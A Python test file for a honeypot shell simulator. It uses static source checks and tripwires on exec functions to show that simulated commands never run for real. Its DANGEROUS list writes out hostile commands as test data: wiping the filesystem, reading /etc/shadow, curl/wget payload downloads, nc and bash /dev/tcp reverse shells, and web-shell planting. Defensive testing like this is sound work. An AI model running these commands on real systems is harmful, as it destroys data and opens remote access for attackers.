71 lines
2.6 KiB
Python
71 lines
2.6 KiB
Python
|
"""Run: python3 test_safety.py. Proves the simulator has no real-execution path."""
|
||
|
|
import os
|
||
|
|
import pathlib
|
||
|
|
import subprocess
|
||
|
|
import tempfile
|
||
|
|
|
||
|
|
from honeypot import Engine, simulate
|
||
|
|
|
||
|
|
# Static guarantee: the decoy module has no OS/exec/network/Eval primitives at all.
|
||
|
|
SOURCE = (pathlib.Path(__file__).parent / 'honeypot.py').read_text()
|
||
|
|
for forbidden in ('import subprocess', 'import socket', 'os.system', 'os.popen', 'os.exec',
|
||
|
|
'eval(', 'exec(', '__import__', 'pty.', 'ctypes'):
|
||
|
|
assert forbidden not in SOURCE, 'decoy module contains ' + forbidden
|
||
|
|
|
||
|
|
# Dynamic guarantee: even if these existed, nothing may call them.
|
||
|
|
calls = []
|
||
|
|
|
||
|
|
|
||
|
|
def tripwire(*args, **kwargs):
|
||
|
|
calls.append((args, kwargs))
|
||
|
|
raise AssertionError('real execution attempted')
|
||
|
|
|
||
|
|
|
||
|
|
saved = {}
|
||
|
|
for name in ('system', 'popen', 'fork', 'forkpty', 'spawnv', 'execv', 'execve', 'posix_spawn'):
|
||
|
|
if hasattr(os, name):
|
||
|
|
saved[name] = getattr(os, name)
|
||
|
|
setattr(os, name, tripwire)
|
||
|
|
for name in ('Popen', 'run', 'call', 'check_output', 'check_call'):
|
||
|
|
saved['subprocess.' + name] = getattr(subprocess, name)
|
||
|
|
setattr(subprocess, name, tripwire)
|
||
|
|
|
||
|
|
DANGEROUS = (
|
||
|
|
'rm -rf / --no-preserve-root',
|
||
|
|
'cat /etc/shadow',
|
||
|
|
'id>/root/pwned',
|
||
|
|
'echo owned > /tmp/pwned-by-attacker',
|
||
|
|
'curl http://203.0.113.9/x.sh -o /tmp/x.sh',
|
||
|
|
'wget http://203.0.113.9/payload -O /tmp/p',
|
||
|
|
'nc -e /bin/sh 203.0.113.9 4444',
|
||
|
|
'bash -c "sh -i >& /dev/tcp/203.0.113.9/4444 0>&1"',
|
||
|
|
'`id`',
|
||
|
|
'mkdir -p /var/www/shell; touch /var/www/shell/x.jsp',
|
||
|
|
)
|
||
|
|
marker = pathlib.Path(tempfile.gettempdir()) / 'pwned-by-attacker'
|
||
|
|
if marker.exists():
|
||
|
|
marker.unlink()
|
||
|
|
|
||
|
|
try:
|
||
|
|
events = []
|
||
|
|
engine = Engine(lambda event, **data: events.append(dict(event=event, **data)))
|
||
|
|
state = engine.session('198.51.100.7')
|
||
|
|
for command in DANGEROUS:
|
||
|
|
simulate(state, command, engine.emit)
|
||
|
|
engine.tick()
|
||
|
|
finally:
|
||
|
|
for name, original in saved.items():
|
||
|
|
if name.startswith('subprocess.'):
|
||
|
|
setattr(subprocess, name.split('.', 1)[1], original)
|
||
|
|
else:
|
||
|
|
setattr(os, name, original)
|
||
|
|
|
||
|
|
assert not calls, calls
|
||
|
|
assert not marker.exists(), 'a simulated command wrote a real file'
|
||
|
|
kinds = {e['event'] for e in events}
|
||
|
|
assert 'unsupported' in kinds or 'simulated_command' in kinds
|
||
|
|
outbound = [e for e in events if e['event'] == 'outbound_attempt']
|
||
|
|
assert outbound and all(e['disposition'] == 'recorded_only' for e in outbound)
|
||
|
|
# Virtual writes stay in memory only.
|
||
|
|
assert 'virtual_file_write' in kinds or 'unsupported' in kinds
|
||
|
|
print('PASS: simulation-only, no OS/exec/network calls, outbound recorded not performed')
|